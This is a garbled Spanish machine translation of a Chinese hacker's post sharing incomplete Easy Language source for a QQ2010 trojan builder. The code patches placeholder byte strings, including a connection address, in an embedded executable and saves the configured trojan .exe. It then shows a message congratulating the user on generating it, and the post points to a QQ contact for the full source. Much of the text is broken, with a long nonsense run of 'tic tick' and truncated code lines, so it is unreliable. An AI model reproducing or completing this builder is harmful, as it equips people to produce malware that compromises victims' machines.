Código fuente del ep desbordado
El código fuente es el siguiente (versión incompleta, compatible con QQ2010, se puede copiar directamente a Easy Language para mejorarlo usted mismo):
========== ====== ============================================== ====== ========
Versión 2
Biblioteca de soporte edroptarget
. Ensamble el conjunto de ventana 2
. Generación de variables ensambladas, conjunto de bytes
. Título de ventana de variable de ensamblaje 1, tipo de texto.
. Las variables de ensamblaje son tipos de enteros redundantes.
. Texto reemplazado por variable ensambladora, conjunto de bytes
. La variable ensamblada genera 1 conjunto de bytes.
. Contenido de la variable de ensamblaje 1, tipo de texto
. Las variables de ensamblaje son redundantes 1, tipos enteros.
. El texto 1 se reemplaza por la variable ensambladora, conjunto de bytes
La variable ensambladora genera un conjunto de 3 bytes.
. Dirección de conexión de variable de ensamblaje 1, tipo de texto.
. Las variables de ensamblaje son redundantes 3, tipos enteros.
. El texto 3 se reemplaza por la variable ensambladora, conjunto de bytes
. Las variables de ensamblaje generan una colección de 4 bytes.
. Tiempo de permanencia de la variable de ensamblaje 1, tipo de texto.
Las variables de ensamblaje son redundantes. 4. Tipo entero.
. El texto 4 se reemplaza por la variable ensambladora, conjunto de bytes
. Las variables de ensamblaje generan un conjunto de 5 bytes.
. Intervalo de variable de ensamblaje 1, tipo texto.
Las variables de ensamblaje son redundantes. 5. Tipo entero.
Texto 5, sustituido por conjunto de bytes. Variables de montaje.
. Variable de ensamblaje m_pDIB, conjunto de bytes, datos de mapa de bits.
.
Subrutina_No Gráfico_Creado
Arrastra y suelta el objeto 1. Registre el control de arrastrar y soltar (ruta del icono. Obtener identificador de ventana())
. Subroutine_Trojan Generation
Título de la ventana 1 = "Tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tic tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick tick redundante = obtener la longitud del conjunto de bytes (al conjunto de bytes (título de la ventana 1)) - obtener la longitud del conjunto de bytes (al conjunto de bytes (título de la ventana. contenido))
reemplazar text= con word sectionset(windowtitle.content) tomar byteset en blanco(redundante)
generate=bytesetreplace(#exe1,findbyteset(#exe1,tobyteset(windowtitle1 ; hhhhhhhhhhhh.
Excede 1 = Obtener la longitud del conjunto de bytes (al conjunto de bytes (contenido 1)) - Obtener la longitud del conjunto de bytes (al conjunto de bytes (contenido. contenido))
Texto 1 = Reemplazar con byteset(content.content) Tome el conjunto de bytes en blanco (exceso de 1).
Generar 1 = reemplazar el conjunto de bytes (generar, buscar el conjunto de bytes (generar, al conjunto de bytes (contenido1),), tomar la longitud del texto (contenido 1), reemplazar el texto 1).
Cuadro de diálogo general 1. Tipo = 1
Cuadro de diálogo general 1. Filtro = "Programa ejecutable de Windows (*.exe)"
. si es verdadero(Diálogo general 1. Abrir())
. Si(Escribir en archivo(Diálogo general 1.
Nombre del archivo, generado 1))
Cuadro de información ("¡Felicitaciones por su exitosa generación de troyanos!" #Salto de línea "Como persona miserable, tiene mucho éxito", #Icono de información,)
De lo contrario.
Cuadro de información ("¡Error de generación!", icono #Información,)
======================= == ================================================== == =
Si no, puede comunicarse con QQ1449971326 para obtener el código fuente y estudiarlo usted mismo.
============================================ = ==============================
Autor: Ren Feng Hacker QQ: 1449971326